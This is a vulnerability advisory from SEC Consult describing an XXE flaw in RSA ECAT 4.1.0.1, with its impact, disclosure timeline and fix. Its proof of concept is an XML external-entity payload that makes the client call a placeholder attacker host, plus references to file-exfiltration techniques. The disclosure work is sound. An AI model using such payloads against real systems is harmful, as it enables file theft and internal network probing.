XML External Entity Injection (XXE)

SEC Consult Vulnerability Lab Security Advisory < 20161011-0 >

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title: XML External Entity Injection (XXE)

product: RSA Enterprise Compromise Assessment Tool (ECAT)

vulnerable version: 4.1.0.1

fixed version: 4.1.2.0

CVE Number: -

impact: Medium

homepage: www.rsa.com

found: 2016-04-27

by: Samandeep Singh (Office Singapore)

SEC Consult Vulnerability Lab

 

An integrated part of SEC Consult

Bangkok - Berlin - Linz - Montreal - Moscow

Singapore - Vienna (HQ) - Vilnius - Zurich

 

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=======================================================================

 

Vendor description:

-------------------

"RSA provides more than 30,000 customers around the world with the essential security

capabilities to protect their most valuable assets from cyber threats. With RSA's

award-winning products, organizations effectively detect, investigate, and respond to

advanced attacks; confirm and manage identities; and ultimately, reduce IP theft, fraud,

and cybercrime."

 

Source: www.rsa.com/en-us/company/about

 

 

Business recommendation:

------------------------

By exploiting the XXE vulnerability, an attacker can get read access to the

filesystem of the user's system using RSA ECAT client and thus obtain sensitive

information from the system. It is also possible to scan ports of the internal

hosts and cause DoS on the affected host.

 

SEC Consult recommends not to use the product until a thorough security

review has been performed by security professionals and all identified

issues have been resolved.

 

 

Vulnerability overview/description:

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1) XML External Entity Injection

The used XML parser is resolving external XML entities which allows attackers

to read files and send requests to systems on the internal network (e.g port

scanning). The vulnerability can be exploited by tricking the user of

the application to import a whitelisting file with malicious XML code.

 

 

Proof of concept:

-----------------

1) XML External Entity Injection (XXE)

 

The RSA ECAT client allows users to import whitelisting files in XML format.

By tricking the user to import an XML file with malicious XML code to the

application, it's possible to exploit an XXE vulnerability within the application.

 

For example by importing the following XML code, arbitrary files can be read

from the client's system. The following code generates the connection request

from the client system to attacker system.

 

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://[IP:port]/" >]><foo>&xxe;</foo>

 

IP:port = IP address and port where the attacker is listening for connections

 

Furthermore some files can be exfiltrated to remote servers via the

techniques described in:

 

media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf

vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf

 

 

Vulnerable / tested versions:

-----------------------------

The XXE vulnerability has been verified to exist in the RSA ECAT software

version 4.1.0.1 which was the latest version available at the time of

discovery.

 

 

Vendor contact timeline:

------------------------

2016-04-28: Vulnerabilities reported to the vendor by 3rd party

2016-06-23: Fixed by vendor in version 4.1.2 (ECAT-5972)

2016-10-11: SEC Consult releases security advisory

 

 

Solution:

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Update to version 4.1.2.0

 

 

Workaround:

-----------

None

 

 

Advisory URL:

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www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm

 

 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

 

SEC Consult Vulnerability Lab

 

SEC Consult

Bangkok - Berlin - Linz - Montreal - Moscow

Singapore - Vienna (HQ) - Vilnius - Zurich

 

About SEC Consult Vulnerability Lab

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recommendation about the risk profile of new technologies.

 

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EOF S. Singh / @2016